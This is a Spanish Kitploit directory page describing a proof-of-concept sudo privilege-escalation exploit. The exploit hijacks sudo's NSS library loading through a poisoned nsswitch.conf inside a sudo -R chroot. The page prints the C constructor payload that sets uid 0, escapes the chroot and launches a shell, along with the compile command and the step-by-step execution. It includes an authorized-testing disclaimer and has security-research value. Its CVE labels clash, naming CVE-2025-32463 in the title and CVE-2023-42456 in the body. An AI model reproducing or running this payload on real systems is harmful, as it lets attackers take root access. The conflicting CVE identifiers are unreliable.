Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-32463-EXPLOIT — Exploit de prueba de concepto para CVE-2023-42456, que demuestra la escalada de privilegios mediante el secuestro de la biblioteca NSS de sudo a través de inyección chroot. Incluye detección automatizada de versiones, generación de payload y escape de chroot para pruebas de seguridad autorizadas. | Kitploit
Herramientas/GitHubGitHub/secvulnhub/cve-2025-32463-exploit
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAprendizaje y EducaciónExplotación de BinariosLabs y Práctica
GitHubsecvulnhub/cve-2025-32463-exploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Exploit de prueba de concepto para CVE-2023-42456, que demuestra la escalada de privilegios mediante el secuestro de la biblioteca NSS de sudo a través de inyección chroot. Incluye detección automatizada de versiones, generación de payload y escape de chroot para pruebas de seguridad autorizadas.

CVE-2025-32463-EXPLOIT

Ver Repositorio
14hace 5 mesesAún no revisado
Compartir

Xpl0it — Secuestro de la biblioteca NSS de Sudo | v0.0.4

Autor: 0xb0rn3 | 0xbv1
Tipo: Prueba de concepto (PoC) Herramienta de investigación de seguridad
CVE: CVE-2023-42456
Técnica: Inyección de biblioteca NSS en chroot de sudo -R → escalada de privilegios a root


⚠️ Aviso de responsabilidad

Esta herramienta está desarrollada únicamente para pruebas de penetración autorizadas e investigación educativa en seguridad. Ejecútela exclusivamente en sistemas que posea o para los que tenga permiso explícito por escrito. El/los autor(es) no asumen ninguna responsabilidad por su mal uso. El uso no autorizado es ilegal.


🎯 Qué hace esta herramienta

Xpl0it es una prueba de concepto que explota un fallo en el modelo de confianza de cómo sudo maneja la carga dinámica de bibliotecas NSS (Name Service Switch) cuando se utiliza la opción -R (chroot). En versiones vulnerables de sudo, un atacante que controle el directorio chroot puede envenenar nsswitch.conf dentro de este para forzar a sudo a cargar una biblioteca compartida maliciosa mientras aún mantiene privilegios elevados — antes de que se produzca cualquier descenso de credenciales.

En una ejecución exitosa, la herramienta le sitúa en un shell de root o ejecuta cualquier comando que especifique con uid=0 gid=0.


🔍 CVE-2023-42456 — Versiones afectadas

Esta herramienta se dirige exclusivamente a CVE-2023-42456. La vulnerabilidad existe en dos ramas de lanzamiento, cada una con un commit de corrección separado:

RamaVulnerableCorregido en
1.9.14.xtodas (1.9.14 – 1.9.14p2)N/A (toda la rama afectada)
1.9.15.x1.9.15 – 1.9.15p11.9.15p2
1.9.16.x1.9.16 – 1.9.16p11.9.16p2
1.9.17+no afectadacorrección fusionada aguas arriba antes de la rama

Importante: sudo 1.9.17 y posteriores no son vulnerables. Herramientas y escritos anteriores indicaban incorrectamente el rango como "1.9.14–1.9.17". Esta herramienta realiza detección de versión por rama para evitar falsos positivos.

Fuera de alcance

Los siguientes CVE no son explotables mediante esta técnica y se excluyen intencionadamente para evitar falsos positivos:

CVETécnicaPor qué se excluye
CVE-2021-3156 (Baron Samedit)Desbordamiento de búfer en montónVector de ataque completamente diferente
CVE-2021-23239Condición de carrera en sudoeditTécnica diferente
CVE-2021-23240Omisión de enlace simbólico de rol SELinuxTécnica diferente

🔑 Requisito previo crítico — ChrootDir en Sudoers

sudo -R requiere una directiva explícita ChrootDir= en la entrada de sudoers del usuario destino. NOPASSWD por sí solo no otorga permiso para -R.

Sin ChrootDir, sudo rechaza la opción -R por completo:

sudo: you are not permitted to use the -R option with bridge

Una entrada sudoers que permita este exploit debe tener el siguiente aspecto:

# Ruta chroot sin restricciones (condición de ataque ideal)
targetuser ALL=(root) ChrootDir=* NOPASSWD: ALL

# Ruta chroot restringida (la herramienta adapta el directorio de staging automáticamente)
targetuser ALL=(root) ChrootDir=/var/jail/* NOPASSWD: /bin/bash

# Ruta específica (la herramienta crea staging dentro de la ruta permitida)
targetuser ALL=(root) ChrootDir=/tmp/* NOPASSWD: ALL

Xpl0it analiza sudo -l en busca de ChrootDir antes de realizar cualquier trabajo de staging y aborta anticipadamente con una explicación clara si falta el permiso.


🔬 Inmersión técnica profunda

Cadena de explotación

sudo -R bridge bridge
      │
      ├─ sudo llama a chroot("./bridge")          ← atacante controla este directorio
      │
      ├─ sudo debe resolver la información del usuario que llama
      │  └─ carga /etc/nsswitch.conf desde chroot
      │       └─ "passwd: files bridge90"
      │            └─ el enlazador dinámico carga libnss_bridge90.so.2
      │                 └─ __attribute__((constructor)) se dispara
      │                      └─ setreuid(0,0) + setregid(0,0)
      │                           └─ escape del chroot → ejecutar payload
      │
      └─ shell de root generado

Paso a paso

Paso 1 — Reconocimiento
Recopila el sistema operativo, versión del kernel, arquitectura, contexto del usuario actual y todas las rutas de búsqueda de bibliotecas válidas. Detecta la aplicación de AppArmor/SELinux y el estado de NoNewPrivs — todos pueden bloquear silenciosamente el exploit si están activos.

Paso 2 — Huella de versión
Analiza sudo --version y verifica el rango afectado de dos ramas para CVE-2023-42456 con precisión a nivel de parche. Aborta con explicación si la versión está parcheada o fuera de rango.

Paso 3 — Verificación del permiso ChrootDir
Analiza sudo -l en busca de directivas ChrootDir=. Si está ausente, aborta inmediatamente. Si está restringido a una ruta específica, se dirige automáticamente a esa ruta para el staging, de modo que sudo acepte la llamada -R.

Paso 4 — Sonda de pre-explotación
Construye un chroot mínimo desechable y ejecuta una llamada sudo -R inofensiva antes de realizar cualquier trabajo de staging real. Confirma que sudo llegará a la resolución NSS y detecta rechazos de "no permitido" de forma temprana.

Paso 5 — Generación del payload
Escribe bridge90.c — una biblioteca compartida en C con una función __attribute__((constructor)) (_nss_bridge90_init) que se dispara en el momento en que el enlazador dinámico la carga:

__attribute__((constructor))
static void _nss_bridge90_init(void) {
    setreuid(0, 0);  setregid(0, 0);
    setuid(0);       setgid(0);

    // escape de chroot: mkdir subdirectorio → chroot más profundo →
    // recorrer 40x"../" → reanclar chroot a / real
    mkdir("._esc", 0700);
    if (chroot("._esc") == 0) {
        // ... 40x "../" chdir ...
        chroot(".");
    }
    chdir("/");
    execl("/bin/bash", "bash", "-c", CMD, NULL);
    execl("/bin/sh",   "sh",   "-c", CMD, NULL);
    _exit(1);
}

Paso 6 — Configuración del entorno
Construye un chroot convincente dentro del directorio de staging:

  • bridge/etc/nsswitch.conf — envenenado para cargar el servicio NSS bridge90
  • bridge/<lib_path>/libnss_bridge90.so.2 — el payload, desplegado en todas las rutas de bibliotecas detectadas (cobertura multilib)
  • bridge/bin/bridge — ejecutable ficticio que sudo debe encontrar para continuar más allá de las comprobaciones previas a la ejecución
  • bridge/bin/sh, bridge/bin/bash — shells con el intérprete ELF correcto (detectado mediante readelf -l)
  • bridge/etc/ld.so.conf — cubre todas las rutas de bibliotecas para que ldconfig -r construya una caché válida

Paso 7 — Compilación

gcc -shared -fPIC -nostartfiles -Wl,-soname,libnss_bridge90.so.2 -o libnss_bridge90.so.2 bridge90.c
  • -nostartfiles — sin código de inicio predeterminado; el constructor lo maneja todo
  • -Wl,-soname — SONAME correcto para la resolución de nombres NSS
  • Sin -Wl,-init — __attribute__((constructor)) es suficiente; agregar -Wl,-init provoca una doble llamada y es un error

Después de la compilación, nm -D verifica que el símbolo del constructor esté presente en la tabla de exportación dinámica.

Paso 8 — Ejecución
Ejecuta sudo -R bridge bridge desde el directorio de staging. NSS resuelve bridge90 → carga nuestra biblioteca → el constructor se dispara con privilegios elevados → se ejecuta el escape del chroot → shell de root.

Por qué existe la vulnerabilidad

Descargar herramienta